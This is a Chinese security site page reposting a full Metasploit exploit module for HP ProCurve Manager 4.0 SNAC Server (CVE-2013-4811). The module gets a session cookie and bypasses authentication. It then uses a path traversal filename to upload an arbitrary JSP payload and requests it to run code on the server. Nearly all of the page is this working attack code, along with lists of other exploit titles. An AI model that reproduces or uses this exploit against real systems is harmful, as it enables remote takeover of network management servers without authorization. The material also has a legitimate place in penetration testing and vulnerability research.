首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
HP ProCurve Manager SNAC UpdateDomainControllerServlet File Upload
来源:metasploit.com 作者:rgod 发布时间:2013-09-18  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HP ProCurve Manager SNAC UpdateDomainControllerServlet File Upload',
      'Description'    => %q{
        This module exploits a path traversal flaw in the HP ProCurve Manager SNAC Server. The
        vulnerability in the UpdateDomainControllerServlet allows an attacker to upload arbitrary
        files, just having into account binary writes aren't allowed. Additionally, authentication
        can be bypassed in order to upload the file. This module has been tested successfully on
        the SNAC server installed with HP ProCurve Manager 4.0.
      },
      'Author'         =>
        [
          'rgod <rgod[at]autistici.org>', # Vulnerability Discovery
          'juan vazquez' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2013-4811' ],
          [ 'OSVDB', '97154' ],
          [ 'BID', '62349' ],
          [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-226/' ]
        ],
      'Privileged'     => true,
      'Platform'       => 'win',
      'Arch'           => ARCH_JAVA,
      'Targets'        =>
        [
          [ 'HP ProCurve Manager 4.0 SNAC Server', {} ]
        ],
      'DefaultTarget'  => 0,
      'DefaultOptions' =>
        {
          'SSL' => true,
        },
      'DisclosureDate' => 'Sep 09 2013'))

    register_options(
      [
        Opt::RPORT(443)
      ], self.class )
  end

  def check
    session = get_session
    if session.nil?
      return Exploit::CheckCode::Safe
    end

    res = send_request_cgi({
      'uri' => "/RegWeb/RegWeb/GetDomainControllerServlet",
      'cookie' => session
    })

    if res and res.code == 200 and res.body =~ /domainName/
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end

  def get_session
    res = send_request_cgi({ 'uri' => "/RegWeb/html/snac/index.html" })
    session = nil
    if res and res.code == 200
      session = res.get_cookies
    end

    if session and not session.empty?
      return session
    end

    return nil
  end

  def exploit_upload(session)
    jsp_name = "#{rand_text_alphanumeric(8+rand(8))}.jsp"
    post_message = Rex::MIME::Message.new
    post_message.add_part(payload.encoded, "application/octet-stream", nil, "form-data; name=\"adCert\"; filename=\"\\../#{jsp_name}\"")
    post_message.add_part("{}", nil, nil, "form-data; name=\"ad_data\"")
    post_message.add_part("add", nil, nil, "form-data; name=\"ad_action\"")
    data = post_message.to_s
    data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")

    res = send_request_cgi(
      {
        'uri'    => "/RegWeb/RegWeb/UpdateDomainControllerServlet",
        'method' => 'POST',
        'ctype'    => "multipart/form-data; boundary=#{post_message.bound}",
        'cookie' => session,
        'data'    => data,
      })

    if res and res.code == 200 and res.body =~ /success:false/
      return jsp_name
    end

    return nil
  end

  def peer
    return "#{rhost}:#{rport}"
  end

  def exploit
    print_status("#{peer} - Getting a valid session...")
    session = get_session
    if session.nil?
      fail_with(Failure::NoTarget, "#{peer} - Failed to get a valid session")
    end

    print_status("#{peer} - Uploading payload...")
    jsp = exploit_upload(session)
    unless jsp
      fail_with(Failure::NotVulnerable, "#{peer} - Upload failed")
    end

    print_status("#{peer} - Executing payload...")
    send_request_cgi({ 'uri' => "/RegWeb/#{jsp}" })
  end

end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Agnitum Outpost Internet Secur
·HP ProCurve Manager SNAC Updat
·Sophos Web Protection Applianc
·Vino VNC Server 3.7.3 - Persis
·Sophos Web Protection Applianc
·TeraCopy 2.3 (default.mo) Lang
·D-Link Devices UPnP SOAP Telne
·McKesson ActiveX File/Environm
·PCMAN FTP 2.07 STOR Command -
·Western Digital Arkeia Remote
·Ofilter Player 1.2.0.1 Buffer
·OpenEMR 4.1.1 Patch 14 SQLi Pr
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved